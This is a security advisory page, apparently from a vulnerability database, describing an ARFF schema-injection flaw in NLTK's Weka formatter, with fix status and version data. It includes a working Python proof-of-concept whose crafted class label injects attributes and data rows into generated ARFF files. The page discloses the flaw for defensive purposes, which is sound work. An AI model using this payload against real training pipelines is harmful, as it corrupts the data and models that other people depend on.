Mittel

NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels

  • Veröffentlicht: 19.11.2026
  • Aktualisiert: 20.11.2026 01:17

Description

Summary

nltk.classify.weka.ARFF_Formatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.

This vulnerability is reachable in any application that calls WekaClassifier.train() or ARFF_Formatter.from_train() with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.

Technical Details

The vulnerable code path is:

  1. WekaClassifier.train() calls ARFF_Formatter.from_train(featuresets).
  2. from_train() extracts labels from the training data and passes them to ARFF_Formatter(labels, features).
  3. header_section() uses ",".join(self._labels) directly, embedding attacker‑controlled strings into the ARFF header without sanitization.

Because the label names are not escaped, a label containing safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n% will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.

Proof of Concept

The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.

python
from nltk.classify.weka import ARFF_Formatter

# Attacker‑controlled label containing ARFF metacharacters.
# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,
# `@DATA` starts the data section early, and `%` comments out the rest.
malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"

featuresets = [
    ({"f": "benign"}, "legit"),          # legitimate example
    ({"f": "payload"}, malicious_label), # attacker's example
]

# NLTK builds the formatter from the training data
formatter = ARFF_Formatter.from_train(featuresets)

# Generate the ARFF string – this is what would be written to the training file
arff = formatter.format(featuresets)

# Verify that the injection succeeded
assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found"
assert "@DATA\n0,owned" in arff, "Injected data row not found"

print("=== Injected ARFF (excerpt) ===")
for line in arff.splitlines()[5:12]:
    print(line)

Expected output:

=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%

Explanation of the injection:

· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.

References

· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).

Probe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).

Release: none yet; no release tag contains 56031eabc.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) nltk < 3.10.4 3.10.4

Verweise

CVSS-Wert 5.4/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Schwäche (CWE)
CWE-74
Plattform
Python (PyPI)
Paket
nltk
Veröffentlicht
19.11.2026
Aktualisiert
20.11.2026 01:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-9ffx-rrgx-mhgx - CC BY 4.0

Schwachstellenhistorie: nltk

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (79) im Archiv
Einträge insgesamt
79
Erste → letzte
08.2019 11.2026
Ohne Fix
5
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 41
  • Mittel 31
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 74
Schweregrad:
  1. NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels dieser Eintrag
    Mittel · 5.4 CVE-2026-129221 < 3.10.4 3.10.4
  2. Hoch CVE-2026-79674 < 3.10.3 3.10.3
  3. Hoch · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  4. Hoch · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
  5. Hoch · 7.5 CVE-2026-33231 < 3.9.4 3.9.4
  6. Hoch · 8.6 CVE-2026-0847 < 3.9.3 3.9.3
  7. Kritisch · 10.0 CVE-2025-14009 < 3.9.3 3.9.3
  8. Hoch · 7.5 CVE-2024-39705 < 3.9 3.9
  9. Hoch · 7.5 CVE-2021-3842 < 3.6.6 3.6.6
  10. Hoch · 7.5 CVE-2021-3828 < 3.6.4 3.6.4
  11. Hoch · 7.5 CVE-2019-14751 < 3.4.5 3.4.5

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.